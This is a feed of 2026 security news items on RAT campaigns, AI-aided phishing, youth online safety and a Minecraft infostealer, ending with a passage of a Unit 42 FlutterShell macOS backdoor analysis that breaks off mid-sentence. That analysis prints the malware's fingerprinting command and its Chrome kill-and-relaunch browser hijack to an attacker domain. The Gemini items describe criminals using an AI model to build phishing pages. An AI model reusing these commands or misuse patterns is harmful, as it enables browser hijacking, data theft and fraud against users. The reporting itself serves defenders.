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Hackers abuse FTP server banners to deliver new Windows malware
Threat actors are abusing FTP banners to hide commands that deliver two previously undocumented remote access trojans named E4del and PINHOLE. MalwareHunterTeam observed this unusual technique in July in an attack that used shortcut files (.LNK) and FTP server banners as dead-drop resolvers (DDR) to retrieve commands. FTP banners are text strings the server uses as a greeting message for connecting hosts before they log in. By embedding commands in the initial response sent when a compromised system connects to an FTP server, a malware stager can receive instructions from a remote server. After discovering FTP banners being used to deliver malicious commands during an investigation, researchers at threat intelligence platform SOCRadar expanded their hunt and found that the technique remains in use. "By utilizing FOFA searches, we determined that this technique has been weaponized since early July 2026 and remains operational, with new infrastructure observed as recently as August 2026." In a report shared with BleepingComputer, SOCRadar says that the observed attacks start with a ZIP archive that triggers an LNK-based infection chain. The researchers note that the initial compromise likely occurs through phishing. The infection chain delivers two remote access trojans (RATs) named E4del and PINHOLE via two distinct infection routes, both retrieving a PowerShell script from FTP banners. E4del is a Node.js-based RAT packaged inside a digitally signed Electron application that masquerades as Discord. The RAT supports running commands through persistent or temporary shells, capturing screenshots, streaming the desktop over WebSockets, and downloading and executing additional payloads. SOCRadar also mentions a Node.js module named crypto32.node that attempts privilege escalation, but the researchers could not retrieve it for analysis. PINHOLE retrieves its C2 configuration from Pinterest pins and SurveyMonkey survey questions, a tactic that offers versatility and resilience to take-downs. The malware leaves a minimal footprint on the host, using shellcode fluctuation to keep only one 4KB section of the payload in memory at a time, and injecting the final assembly into a suspended ApplicationFrameHost.exe process via Early Bird APC injection. PINHOLE supports 14 commands, including file enumeration, uploading and downloading files, command execution, process management, capturing screenshots, and deploying a module for stealing credentials stored in browsers. At the time of analysis, the PINHOLE script counted only 11 execution events, suggesting that the campaign was in an early stage. While abusing FTP banners to deliver commands is a novel alternative, SOCRadar says that the approach is less stealthy than traditional web-based DDRs (e.g., X, GitHub, YouTube) because FTP connections to unknown servers are more likely to stand out. “While threat actors typically utilize legitimate web services, such as X, GitHub, or YouTube, to provide cover through high-volume, expected network traffic, FTP banners represent a novel alternative." The researchers note that the technique is very versatile and could "easily" be adapted for ClickFix social engineering campaigns. SOCRadar's report provides indicators of compromise that could help defenders identify the malicious infrastructure as well as infected machines on the network. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 21, 2026extracted
ニチレイ、ランサム被害で従業員情報漏えいか 問われる「復旧後」の対応
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atmarkit.itmedia.co.jpAug 14, 2026extracted
Social media platforms crack down on drone factory recruiting game
A video game about drone warfare may look like an unusual cybersecurity story. But cybersecurity isn’t only about malware or stolen passwords. Sometimes it’s about understanding how online platforms are used to influence decisions, build trust, and persuade people to share personal information or take actions they otherwise wouldn’t. According to Straight Arrow News, the online game Drone Battle: Ukraine is linked to Russia’s Alabuga Special Economic Zone in Tatarstan, a site associated with the production of attack drones used in the war against Ukraine. Investigators say the game is the latest part of a broader campaign that has used major social media platforms, including YouTube, TikTok, Instagram, and X to reach young people. The game is just the lure. Investigators say it forms the entry point to a recruitment funnel that markets education, careers, travel, community, and technological opportunity to young people before ultimately steering some recruits toward jobs assembling drones at Alabuga. Available in English, Russian, and Chinese, Drone Battle: Ukraine presents a stylized conflict between Russia and NATO. But investigators say the game is only one part of a larger campaign that combines games, esports tournaments, influencers, and career messaging to recruit young people globally into Russia’s drone industry. This campaign is not limited to drone combat. The same channels have also promoted games that frame construction work, teamwork, strategy, and professional development as challenges to be completed and levels to be unlocked. That’s gamification serving a recruitment purpose. The game doesn’t have to persuade someone to take a job on its own. It only needs to make participation feel like a game, make a military-industrial workplace appear modern and exciting, and make the transition between the two seem natural. Gamification itself isn’t unusual. Companies use games, quizzes, competitions, and rewards in education, training, and recruitment every day. The concern here is how those familiar techniques are combined with social engineering to influence decisions while obscuring the true nature of what’s being offered. Social engineering Social engineering is often described as a way of tricking people into giving up a password or opening a malicious attachment. But at its core, social engineering is the manipulation of human decisions. This campaign appears to use several familiar techniques at once. Targeting: Investigators say Drone Battle: Ukraine is described in a registered patent as an “assessment tool in game form.” Rather than simply entertaining players, the game appears designed to engage people who may be receptive to later recruitment. Baiting: The campaign advertises scholarships, training, free travel, housing, and career opportunities while, according to investigators, downplaying or concealing the true nature of the work. Influencers: Social media promotions and seemingly personal testimonials make the campaign more persuasive than a straight-up advertisement. Normalization: A drone in a game is a tool to use for victory and fun. Researchers have warned that game-like recruitment can make militarized narratives feel routine, technical, and emotionally distant. Small steps: It starts with playing a game or following an account. People may then join a tournament, communicate with a recruiter, submit personal details, travel, and only later discover the full nature of the work. As with many social engineering campaigns, each interaction asks for a little more commitment, making the next step feel less significant than it really is. Social platforms are taking action US-based social media platforms have increasingly taken action against Alabuga-linked accounts after investigations alleged deceptive recruitment practices and human rights abuses associated with the campaign. Social media platforms have been trying to disrupt the campaign for nearly two years. Following an Associated Press investigation in 2024, Google, Meta, and TikTok removed accounts linked to Alabuga Start for violating their policies. But according to the Foundation for Defense of Democracies (FDD), the organizers later created new accounts and continued recruiting across multiple platforms. More recently, Ukraine’s Minister of Foreign Affairs, Andrii Sybiha, said that roughly 600 videos promoting Alabuga were removed from YouTube. The videos had been posted across hundreds of channels with a combined audience of more than 500 million subscribers. He wrote: “The work does not end with removals. We will be now pursuing sanctions against individual bloggers who accepted payment to promote a sanctioned weapons manufacturer to millions of viewers.” According to the Straight Arrow News investigation, however, the campaign remains active on X and Telegram. How to stay safe For home users, the traditional scam advice still applies: Independently verify a prospective employer, search for complaints and reporting, discuss an offer with someone you trust, and never pay to get a job. Gamers should treat unsolicited career, travel, competition, and “exclusive training” offers with the same caution they would apply to any job pitch that feels unusually generous or vague. Offers to turn your gaming into a paid job should also be treated as “too good to be true.” Other actions that might go a long way Friends, families, educators, and youth organizations should talk openly about recruitment tactics without assuming that people targeted by them are naïve. They are often drawn in through a series of small steps that feel natural. Platforms should investigate networks, influencer relationships, referral links, and coordinated messaging, not just individual posts or game titles. Game developers and community platforms need reporting systems that are easy to find and will cater to recruitment concerns, not just cheating or abusive chat. Governments and civil society groups in targeted countries need practical awareness campaigns that explain the specific promises being used and offer credible alternatives for education and employment. Something feel off? Check it before you click. Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
malwarebytes.comAug 11, 2026extracted
NCA Issues Warning to Parents As Shared Child Photos Exploited by AI Tools
The National Crime Agency (NCA) has launched a new campaign to warn parents about the dangers of oversharing videos and photos of their kids. The Internet Watch Foundation (IWF) reported a 26,000% annual increase in AI-generated videos of child sexual abuse in 2025 at 3440, versus just 13 in 2024. It also reported a 14% year-on-year (YoY) increase in AI-generated images and videos in 2025, reaching 8029. A social media campaign will be run on Facebook, Instagram and YouTube, to help parents, carers and others better understand image consent and actions they can take to better protect their children. It will come alongside new written guidance designed to help parents and carers find safe ways to share images of their children so they don’t fall into the hands of those with malicious intent. There is also help and advice on how to speak to children and young people about AI and deepfake nudes. When reviewing image consent for sharing of photography, parents and carers were urged to consider the following: Am I still comfortable with how my child's images might be used? Have my preferences changed? Do I want to limit or withdraw consent? It's ok to ask people not to post photos or videos of your child online Oversharing and Explicit Targeting Parents oversharing content related to their children online (“sharenting”) is a well understood risk which could put videos and images at risk of being fed into AI for child sexual abuse content, or of personal data on their kids being used by fraudsters. But threat actors are also proactively going after content, the IWF warned. The foundation claimed that criminal gangs had targeted a school in the UK, stealing imagery of the school's pupils from a school website and, using AI, creating more than 100 sexual images of the children which they tried to blackmail the school with. “We don't want to say don't share your children's images with the people you love and trust, but we want everyone to be aware of the potential risks and make an informed decision with the full facts at their disposal. These are not hypothetical threats, they are real,” warned IWF CEO, Kerry Smith. "The impact of this imagery can be devastating. The harms are very real. And the potential for lasting damage is something which I think every parent would do anything they can to prevent. We want to give them back that power, and start a public conversation about whether we should be sharing imagery online as a default." The NCA’s Tim Wright argued that prevention is key. "We encourage parents and carers to take a few simple steps today: review the privacy settings on social media accounts; think carefully about who can access images of their children; and talk openly with family, friends, schools and clubs about image sharing and consent,” he added “Most importantly, if something does go wrong, stay calm, reassure your child that they are not to blame, and report concerns to the police or CEOP so action can be taken as quickly as possible.” It is not just the number of images/videos created in this way that has rocketed but the seriousness of the content. Two-thirds (65%) was classed as Category A (the most severe), versus 43% of non-AI criminal videos in 2025.
infosecurity-magazine.comJul 6, 2026extracted
UK to ban social media access for children under 16
UK to ban social media access for children under 16 British Prime Minister Keir Starmer on Monday said the UK intends to block youth under age 16 from using social media, saying that his government’s plans will be the strongest kids online safety measures in the world once they take effect. The ban will apply to all “user-to-user platforms, whose purpose is to enable social interaction and which allow users to post material, alongside algorithms,” according to a press release from the government’s Department for Science, Innovation and Technology. TikTok, Facebook, Instagram, Snapchat, X and YouTube will be subject to the ban while messaging platforms like WhatsApp will not, the press release said. AI ‘romantic companion chatbots and “intimate functionalities” on all other chatbots will be restricted for children under 18. The UK government plans to get lawmakers legislation before Christmas and expects the ban to be enforced by spring 2027, according to the press release. The ban will be modeled after a similar one that took effect in Australia last December, the press release said, but will go even further by including additional safeguards. “In a move to protect children online and address the scale of the challenge, the government will also go further than a blanket ban on social media with world-leading blocks on harmful functions such as livestreaming and stranger communication with children for under-16s,” the press release said. “These restrictions – which together with the ban go further than any other country – will apply to a wider range of online services, including on gaming sites.” Outdoing Australia The UK also plans to require “highly effective age assurance” methods, which go beyond those Australia has in place. The UK’s communications regulator has been tasked with designing those age assurance measures and is due to report back to the central government with a plan by October. Further measures will be announced next month, the press release said, including possible overnight curfews and required “breaks in infinite scrolling” for teens under 18. The Australian social media ban has not succeeded at keeping large numbers of Australian youth off of the platforms, according to a study released in March by the country’s eSafety Commissioner. Surveyed parents reported that prior to the ban taking effect nearly half had children with an account on a regulated platform. After the ban took effect, 31.3% still had an account on at least one of the platforms, the Australian government said at the time. More than two-thirds of Australian children who still maintained accounts did so because the tech firms hadn’t asked them to verify their age, according to the study. The UK has been conducting a series of pilot programs to test certain restrictions and held a consultation process inviting the public to weigh in. Nine in 10 of 116,000 parents surveyed back a ban, the press release said. “I’ve heard first hand from families crying out for change and we will do right by them,” Starmer said in a statement. “Taken together, these measures will mean a much more comprehensive model than just a blanket ban on social media — one that responds to how children experience harm online, rather than just where it happens.” Tech companies have been given many chances to reform their practices and have failed to do so, requiring the ban, Technology Secretary Liz Kendall said in a statement. A rapidly growing movement Britain is one of several countries that has implemented a ban or plans to. Spanish Prime Minister Pedro Sanchez said in February that his government would ban social media for under 16s. "We will protect [children] from the digital Wild West," Sanchez said at the time. "Social media has become a failed state, where laws are ignored, and crimes are tolerated.” Also in February, the new minority government in the Netherlands said it would seek a ban for children 14 and younger. French lawmakers are working on legislation to ban children under 15 from social media. Malaysia and Turkey have bans in place for children under 16 and 15, respectively. Some human rights and civil liberties organizations are critical of the UK’s approach. “This is a case of the right diagnosis but the wrong prescription,” Kerry Moscogiuri, the chief executive of Amnesty International UK, said in a statement. “The problem is not that children exist on social media; it’s that social media companies have built platforms that are unsafe by design,” the statement said. “If the diagnosis is that social media platforms are harming children, the remedy should be to regulate the platforms, not exclude children.” Privacy risks will be a key factor in the public debate over the ban, Joe Jones, the director of research and insights at the IAPP, said in a statement. Starmer’s political weakness could make it hard for the government to push the ban over the finish line, Jones said. “Hanging over this announcement is the extent to which the current government can move this initiative forward with political uncertainty swirling,” the statement said. “These might be the last days of the Starmer Government and enacting a social media ban might be too slippery a floor to carry a precious Ming vase over.” Editor's Note: Story updated June 17 to correct the spelling of Joe Jones’ name. Suzanne Smalley is a reporter covering digital privacy, surveillance technologies and cybersecurity policy for The Record. She was previously a cybersecurity reporter at CyberScoop. Earlier in her career Suzanne covered the Boston Police Department for the Boston Globe and two presidential campaign cycles for Newsweek. She lives in Washington with her husband and three children.
therecord.mediaJun 16, 2026extracted
Gemini usato per creare truffe online, Google fa causa a al gruppo di criminale cinese “Outsider Enterprise”
Il gruppo Outsider Enterprise avrebbe sfruttato l’AI di Google per produrre siti falsi, messaggi fraudolenti e campagne di phishing contro centinaia di migliaia di americani. Coinvolti anche FBI, AT&T, T-Mobile e Verizon. Google ha fatto causa a una rete cybercriminale cinese accusata di aver usato Gemini per alimentare campagne di truffe finanziarie online contro centinaia di migliaia di cittadini americani. Secondo quanto riporta il New York Times, il gruppo, noto come Outsider Enterprise, avrebbe utilizzato l’AI di Google per creare centinaia di siti falsi che imitavano aziende come Google e YouTube, ma anche servizi pubblici e governativi, tra cui il Postal Service americano e il sistema E-ZPass di New York per il pagamento dei pedaggi autostradali. La collaborazione con FBI e operatori telefonici La causa è stata depositata presso il tribunale federale del Distretto Sud di New York. Google accusa la rete cinese di aver utilizzato in modo fraudolento la sua tecnologia e il suo marchio, chiedendo al giudice un ordine restrittivo per consentire alla società e alle autorità di bloccare l’infrastruttura della rete. Per la prima volta, Google ha dichiarato di coordinarsi con l’FBI e con operatori wireless come AT&T, T-Mobile e Verizon per smantellare la rete. L’obiettivo è bloccare siti, messaggi, domini e strumenti usati per colpire gli utenti. Secondo la società, centinaia di migliaia di persone sarebbero state colpite, in larghissima parte negli Stati Uniti. Google non ha indicato con precisione l’ammontare dei danni, ma parla di perdite nell’ordine di milioni di dollari. Come funzionava la rete Secondo la denuncia, Outsider Enterprise avrebbe coordinato le attività attraverso Telegram, dove i membri del gruppo si scambiavano consigli, strumenti e kit software per produrre truffe su larga scala. L’uso dell’intelligenza artificiale avrebbe reso più veloce e più semplice la produzione di siti falsi e messaggi fraudolenti. Google sostiene che il gruppo abbia creato 131 kit software capaci di generare migliaia di pagine web contraffatte. In sole due settimane di maggio, la rete avrebbe inviato 2,5 milioni di messaggi a utenti Android, contenenti link verso 9mila siti falsi. Google ha inoltre collegato al gruppo oltre un milione di indirizzi internet fraudolenti. Il ruolo dell’AI nelle truffe Il caso mostra come l’intelligenza artificiale stia cambiando anche il cybercrime. Secondo Google e le autorità americane, le truffe potenziate dall’AI stanno crescendo più rapidamente rispetto ad altre forme di phishing e frode online. L’AI consente ai criminali di creare testi più credibili, siti più realistici, campagne più personalizzate e infrastrutture fraudolente su scala molto più ampia. Il risultato è un phishing meno riconoscibile e più difficile da intercettare per gli utenti. “Gli attori criminali usano sempre più l’AI per rendere frodi come questa più convincenti e più difficili da rilevare”, ha dichiarato Brett Leatherman, assistant director della Cyber Division dell’FBI. Perdite miliardarie Secondo i recenti dati dell’FBI, lo scorso anno i cybercriminali hanno sottratto agli americani quasi 21 miliardi di dollari. Di questi, circa 893 milioni di dollari sarebbero collegati a truffe che hanno coinvolto l’uso dell’intelligenza artificiale. Il dato spiega perché Google stia cercando di intervenire prima che il fenomeno aumenti ulteriormente. La società ha avvertito che l’AI ha potenziato il problema delle truffe online e che il rischio è una crescita rapida delle frodi basate su Gemini e altri strumenti generativi.
cybersecitalia.itJun 15, 2026extracted
Google、「Gemini」悪用の中国系サイバー犯罪組織を提訴――2週間で250万通の詐欺メッセージ
Google、「Gemini」悪用の中国系サイバー犯罪組織を提訴――2週間で250万通の詐欺メッセージ 米Googleは6月12日(現地時間)、「Outsider Enterprise」と呼ぶ中国拠点のサイバー犯罪組織に対し、ニューヨーク連邦南部地区裁判所に民事訴訟を提起したと発表した。組織が同社のAI「Gemini」を悪用してフィッシングサイトを大量生成し、米国を中心に多数の被害者から金融情報を詐取したとしている。GoogleがGeminiの不正利用を理由に提訴するのは今回が初めてだ。 この組織は、プログラミングの知識を持たない者でも数分でフィッシングサイトを構築できる「Outsider」と呼ぶアプリを中心に展開されていた。このアプリは週額88ドルあるいは月額200ドル(いずれも暗号通貨USDTで支払い)のサブスクリプション制で販売され、2025年8月から2026年3月の間に250件超のライセンスが販売されたという。 ソフトウェアにはGoogle、YouTube、Google Pay、米郵便公社(USPS)、ニューヨーク州の有料道路決済「E-ZPass」など信頼性の高いブランドを模した290種類超のテンプレートが用意されており、リアルタイムのキーロギング機能や攻撃成果を追跡するダッシュボードまで備えていた。 組織は、開発担当、ターゲットリスト提供担当、スパム配信グループ、個人情報の現金化担当の4グループで構成され、Telegramの複数チャンネルを通じて連携していた。 GeminiはフィッシングサイトのHTMLコードを生成するために悪用された。訴状によると、組織は2025年8月2日にTelegramへ投稿したチュートリアル動画で、GeminiにHTMLコードを生成させ、それを「カスタムテンプレート」エディターに貼り付けることで、プログラミング不要でフィッシングページを完成させる手順を解説していた。動画にはGeminiへのプロンプト例として「ギフト引き換えページを生成してほしい」と入力する場面が収められている。 また、既存のテンプレートコードをGeminiに貼り付けてレイアウト変更や入力フィールドの追加を指示する使い方も紹介されており、これにより生成できる偽サイトの種類は実質的に無限大になるとGoogleは指摘している。さらに組織は窃取したデータのバックアップにGoogleドライブを、偽サイトのホスティングにGoogle Cloudを利用していた。Googleドライブの悪用は、Googleが検知して当該アカウントをブロック済みだ。 被害の規模は甚大だ。159万件以上のURLが同組織と紐づくとして検出され、ピーク時には1日に6万2993件の新規フィッシングページが確認されている。5月18日~6月1日の2週間だけで250万件のフィッシングテキストがAndroidユーザーに送信され、同期間にGoogleの「メッセージ」アプリへのスパム報告は5万5000件を超えた。訴状では10万人以上が被害に遭ったと記載されており、複数の米メディアによると、米連邦捜査局(FBI)はクレジットカード番号の窃取件数を387万件、2023年7月以降の損失総額を約19億ドル(約2800億円)と推計しているという。 Googleはこの訴訟と並行し、FBI、AT&T、T-Mobile、Verizonと連携してフィッシングテキストのブロックと法執行措置を進めるとしている。また、Outsider関連サイトをSafe Browsingのカタログに登録したことで、Chromeユーザーによるアクセスが激減したと説明。Androidのスパム検知機能や、Gmailなどで月間100億件超の悪意あるメッセージを遮断するセキュリティ機能も継続して運用する。また、こうしたAIを悪用した詐欺への対応を制度面で強化するため、超党派7法案の成立に向けてロビー活動も展開している。 Copyright © ITmedia, Inc. All Rights Reserved.
itmedia.co.jpJun 15, 2026extracted
Over 116,000 Minecraft systems infected in WeedHack malware campaign
A large-scale malware campaign dubbed WeedHack is targeting Minecraft players and has infected more than 116,000 systems since January. The malware is distributed through Minecraft-related malicious mods, clients, cheats, and utilities that are promoted over YouTube and SEO (search engine optimization) poisoning. WeedHack works as a malware-as-a-service (MaaS) infostealer operation that offers a dashboard for customers to see stolen credentials and information on compromised systems. Telemetry data from cybersecurity company McAfee shows that WeedHack has impacted 116,464 systems, averaging between 2,000 and 3,000 infections every day. Most victims are in the United States, Germany, India, and the UK. The scale of the operation is reflected in the more than 240 distribution URLs and 3,820 unique malicious JAR files. WeedHack malware distribution In a report today, McAfee researchers say that the WeedHack campaign reaches victims mainly through YouTube videos showcasing Minecraft-related tools and SEO poisoning promoting them. On the video platform, the attacker drops download links in descriptions and comments. Some of the videos are well-made, featuring voice-over narration for authenticity, and have accumulated more than 7,500 views. The SEO poisoning distribution method targets keywords that correspond to clients: Meteor Client, Radium Client, Wurst Client, Aristois, LiquidBounce, Impact Client, Future Client, Inertia Client, Cornos Client, WWE Client, 3arthh4ck, Salhack, Phobos, and Gamesense. McAfee explains that many of those projects do not have official websites, only GitHub pages. In one case highlighted in the report, the malicious website displays a security notice warning visitors that they should only download ‘Skytils’ from the official site. It is even linking to the project’s legitimate GitHub repository and Discord server to create a strong, false sense of legitimacy for the fake website. MaaS operation The WeedHack malware platform is hosted on the clear net and provides access to anyone for free, which is very unusual for infostealer operations. Users are given access to a dashboard that shows an overview of their victims, infected system profiles, stolen data, and a payload builder for Minecraft versions 1.21.0 through 1.21.10. The free tier stealer targets Minecraft session ID theft, cookies, and saved passwords across 36 browsers, 56 cryptocurrency add-ons, 12 desktop cryptocurrency wallet apps, Discord, Steam, and Telegram credentials, and can capture screenshots. WeedHack also offers a premium tier for $5/month, or a lifetime one-time purchase of $24.99, that adds remote control with input access (mouse and keyboard), webcam access, keylogger, remote shell, and remote file management. The project’s Telegram channel has over 800 members, and McAfee says that many of the clients appear to be teenagers or young adults who use WeedHack’s remote access tools to harass their victims. Minecraft players should only trust mods from official project sources, verify download links, and treat JAR files hosted on dubious sites with caution. For those looking to extend their playing experience, the in-game Minecraft Marketplace is the safest option. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJun 2, 2026extracted
Operation FlutterBridge: macOS Malvertising Campaign Spreads New FlutterShell Backdoor
We are tracking an increasingly widespread malvertising campaign targeting macOS. This campaign appears to be the next stage of a previous campaign known as JSCoreRunner, which was first identified in August 2025. In recent months, the financially-motivated attackers behind these campaigns transitioned from delivering standard adware, to delivering adware with full backdoor capabilities. We designate this campaign Operation FlutterBridge, and we call the payload that it delivers FlutterShell. Built using the Flutter framework, FlutterShell infects targets with adware via malicious desktop applications. In addition to its adware functionality, the payload possesses backdoor capabilities, including shell command execution and file system manipulation. Some variants weaponize artificial intelligence (AI) summarization features for data exfiltration by routing documents through an attacker-controlled server before processing them. The FlutterShell malware strain appears to be under active development, with new improvements being rapidly integrated into the code. Operation FlutterBridge targets a global audience through an extensive Google Ads campaign, with an emphasis on Anglophone and Western European markets, distributed via hundreds of Google-verified advertisements. Our research indicates that the attackers behind this cluster distributed the ads using a series of shell companies, to bypass ad-network vetting and orchestrate these attacks at scale. We reported these advertisers to Google, which provided the following statement: Malware has no place on our platforms, and we’ve suspended these advertiser accounts for violating our policies. We track Operation FlutterBridge and the JSCoreRunner campaign under a cluster of activity that we refer to as CL-CRI-1089. This article provides a technical overview of the FlutterShell macOS malware and the delivery network behind the malvertising campaigns. Palo Alto Networks customers are better protected from the threats described in this article through the following products and services: Advanced WildFire Advanced URL Filtering and Advanced DNS Security Cortex Agentix Threat Intel Agent Cortex XDR and XSIAM If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. CL-CRI-1089 is a cybercrime cluster of activity that has been operational since at least 2023. The attackers behind this cluster are responsible for spreading malicious payloads via malvertising campaigns, targeting both Windows and macOS users through separate, ongoing operations. The attackers’ modus operandi is consistent across these operations: They distributed malicious advertisements using a network of Google-verified shell companies. These ads were designed to trick targets into deploying malware that masquerades as legitimate desktop applications. While in-the-wild observations suggest the malware functions primarily as adware, it possesses capabilities for far more dangerous behavior, effectively functioning as a backdoor. Operations attributed to this cluster include the RecipeLister and Calendaromatic Windows campaigns, as well as the JSCoreRunner macOS campaign. The Windows activity was previously tracked by other vendors under the broader “TamperedChef” designation, before Unit 42 researchers deconstructed the activity into distinct clusters. In late 2025, the attackers expanded their operations with Operation FlutterBridge, deploying a new macOS backdoor identified as FlutterShell. FlutterShell is a macOS backdoor developed using the Flutter framework and designed to masquerade as legitimate software. FlutterShell’s authors implemented a WebView-based architecture that utilizes a JavaScript-to-native bridge. This design allows the attackers to host malicious logic on an external website, rather than hardcoding it into the binary. This enables the attackers to dynamically alter FlutterShell's behavior in real time, without needing to recompile or redistribute the application. FlutterShell has a set of built-in commands that provide attackers with the following capabilities: Arbitrary command execution File system interaction Environment variables exfiltration During our investigation, we observed FlutterShell being used as adware. Upon execution, the malware modifies Google Chrome configuration files to hijack the browser, forcing all traffic through an attacker-controlled, ad-filled intermediary site. We identified several versions of FlutterShell that did not yet contain malicious code. Additionally, an examination of the JavaScript logic hosted on the attackers’ infrastructure revealed multiple unfinished functions. These findings, combined with the frequent appearance of new variants, indicate that the malware is likely under active development. The use of the Flutter framework presents specific analytical hurdles. The Flutter engine compiles Dart code into a dynamic library and uses an Object Pool to store data. This separates the code from the strings and variables it uses, making it difficult for security analysts to see how the malware actually functions. This feature also makes tracing the execution flow of a Flutter application via static analysis particularly challenging. To overcome these challenges, we used a custom version of Worawit Wangwarunyoo's blutter tool to disassemble the Dart binary and reconstruct the application logic. We encountered three versions of FlutterShell in which the malware posed as a podcast player and two different PDF viewers. These desktop applications were fully functional, effectively concealing the malicious logic executing in the background. Figure 1 shows two of the applications on macOS hosts. All observed samples were signed with valid Apple Developer IDs and successfully passed notarization, meaning Apple's automated security checks did not flag them as malicious at the time of submission. Figure 2 shows the legitimate signature of FlutterShell’s binaries and its successful notarization by Apple. At the time of analysis, all three applications containing FlutterShell had zero detections on VirusTotal, as shown in Figure 3 for the PodcastsLounge application. The FlutterShell backdoor logic is not hardcoded into the binary. Instead, FlutterShell employs a WebView-based architecture utilizing a JavaScript-to-native bridge. In WebView-based architecture, a native application uses an embedded web browser component to display content. The JavaScript-to-native bridge acts as a communication channel between this web content and the host native application, allowing them to exchange data and cross-invoke functionality. Consequently, the malicious logic of FlutterShell is stored on the attackers’ website and is only triggered when the application loads the specific web content. Figure 4 demonstrates how the application converts web content to native commands. Upon initial execution, FlutterShell waits for a specific duration received dynamically from the command and control (C2) server before contacting the attackers’ website — which contains the malicious JavaScript code — to avoid analysis and build user trust. More details about the backdoor’s delay routine are provided in Appendix A. The primary payload of FlutterShell is embedded within the main webpage and a /update-thanks.html subdirectory of the attacker-controlled site. Figure 5 shows the website's landing page. To facilitate communication between the remote attacker-controlled webpage and the infected local system, the malware injects a JavaScript bridge. This bridge uses a message channel named flutterInvoke to pass JSON-formatted commands from the WebView context into the native Dart environment. The remote webpage acts as the execution environment for the JavaScript-to-native bridge. By loading the external content, the attackers can send JSON-formatted commands to the application, which are then translated into native system calls and operations on the infected machine. The main webpage and the /update-thanks.html subdirectory retrieve the core malicious logic from external endpoints: /getConfig and /getUpdateThanksConfig, respectively. These scripts contain the JavaScript code that defines which commands should be executed and configures the supported functionality. This architecture allows the attackers to modify the code in /getConfig and /getUpdateThanksConfig at any moment, dynamically altering FlutterShell's behavior without requiring a software update. Figure 6 shows the HTML page presented to the targeted end-user, followed by the subsequent JavaScript code executed by the payload. At the time of investigation, the call to /getConfig was either commented out on the main page or the endpoint was unreachable. We also noticed that /getUpdateThanksConfig contained setup functions for commands that were not yet implemented in the FlutterShell binary. The observed inactivity and disabled functions strongly indicate that the malware was still under active development. Our investigations up until February 2026 revealed three main variants of the FlutterShell backdoor, each advertised approximately one month apart. The first variant masqueraded as a podcast app named PodcastsLounge while the subsequent variants appeared as PDF viewers named PDF-Brain and PDF-Ninja. While the three variants masqueraded as different applications, the malicious code and execution flow embedded within them have only minor differences. Notably, the internal package name of the PDF-Brain variant was still labeled podcasts_lounge, revealing its connection to the earlier version. With each new variant released, we observed developments in the obfuscation used by the attackers behind the campaign. The second variant (PDF-Brain) had some of its strings obfuscated, and the third variant (PDF-Ninja) utilized Flutter’s native --obfuscate flag, which strips debug information and randomizes symbol names, making reverse engineering significantly more difficult. Furthermore, the attackers renamed the malicious commands to mimic legitimate PDF library operations, likely in an attempt to bypass static analysis and Apple's notarization process. The main differences and overlaps between the three variants are listed in Table 1. Table 1. Feature comparison matrix of FlutterShell variants. Another feature differentiating the PDF-Brain and PDF-Ninja variants is an AI summarization tool that doubles as a data exfiltration vector. Instead of sending the file content directly to an AI Agent, FlutterShell forwards the content to the attackers’ C2 server, at the https://[attacker_domain]/summarize-text endpoint. The server functions as an intermediary, forwarding the request to the AI agent. This means that while the user receives an AI summary, the attackers can simultaneously harvest and exfiltrate the entire content of every document processed. Additionally, we observed that the download sites for PodcastsLounge and PDF-Brain malicious applications share a nearly identical design structure, indicating that the attackers reused the web assets for both campaigns. Figure 7 shows screenshots from both sites. We also encountered versions of these macOS applications that did not contain any malicious code. We also noted that the attackers behind CL-CRI-1089 offered Windows versions for all FlutterShell applications. However, up to early February 2026 the Windows versions did not appear to contain any embedded malicious logic. The absence of malicious code in both the macOS and Windows applications may suggest a phased deployment strategy, a technique designed to bypass automated detection. According to our telemetry, the attackers’ primary goal appeared to be browser hijacking. Upon installation, FlutterShell fingerprints the machine by collecting the hardware’s universally unique identifier (IOPlatformUUID) value using the following command: ioreg -rd1 -c IOPlatformExpertDevice | grep IOPlatformUUID | sed 's/.*"IOPlatformUUID" = "//; s/"//g' Next, the malware targets the Google Chrome “Secure Preferences” file. This file functions as an anti-tamper mechanism by storing a validated copy of the user's settings. FlutterShell modifies the default_search_provider_data block within this file, specifically changing the url and new_tab_url values to the attacker-controlled domain sinterfumesco[.]com. This modification ensures that every time a user with an infected machine performs a search or opens a new tab, the request is hijacked and sent to the attackers’ domain. Figure 8 shows the modified Secure Preferences file. To apply the URL and domain changes, FlutterShell terminates the Google Chrome process using killall "Google Chrome" and immediately relaunches the process with the following arguments: Google Chrome "hxxps[:]//sinterfumesco[.]com/search?utn=[Tracking Data]=&q=starttt" --restore-last-session --hide-crash-restore-bubble --noerrdialogs --disable-session-crashed-bubble These flags force Chrome to connect to sinterfumesco[.]com while suppressing the crash restoration warnings (“Chrome did not shut down correctly”) that would normally appear after a forced termination. This sequence enables attackers to generate revenue by funneling targeted users through an ad-filled intermediary site or showing ads in the background, before finally redirecting the users to a legitimate search engine. Figure 9 shows the detection of suspicious FlutterShell activity, including executing fingerprinting commands and browser hijacking. We examined the evolution of CL-CRI-1089’s tactics and tradecraft across multiple campaigns since early 2025. Our investigation tracked the activity cluster CL-CRI-1089 through a far-reaching network of Google and YouTube advertisements, both of which are controlled by Google Ads. While Google apparently remediated several ads linked to previous campaigns, the advertiser remained active, and FlutterShell continued to be distributed via hundreds of active advertisements with new instances throughout February 2026. Verified Google Ads accounts were the primary distribution vehicle for FlutterShell in this campaign, using verified shell companies AdsParkPro LTD and Advantage Web Marketing LLC. We also observed that this cluster used a different shell entity called SOFT WE ART LIMITED in past Windows campaigns. At first glance, these companies appeared to be legitimate Ukraine and UK-based enterprises, registered years before the malicious activity ever started. Figure 10 shows advertisements by Advantage Web Marketing LLC in the Google Ads Transparency Center. However, although the accounts were verified by Google Ads, a closer look into the three companies revealed the hallmarks of a shell corporation designed for ad-fraud and malware delivery: All three companies have a minimal digital presence beyond their company websites. The websites themselves have minimal functionality and utilize templated structures, likely designed to create an impression of legitimacy. Similar patterns in corporate filings revealed one Ukrainian-based and 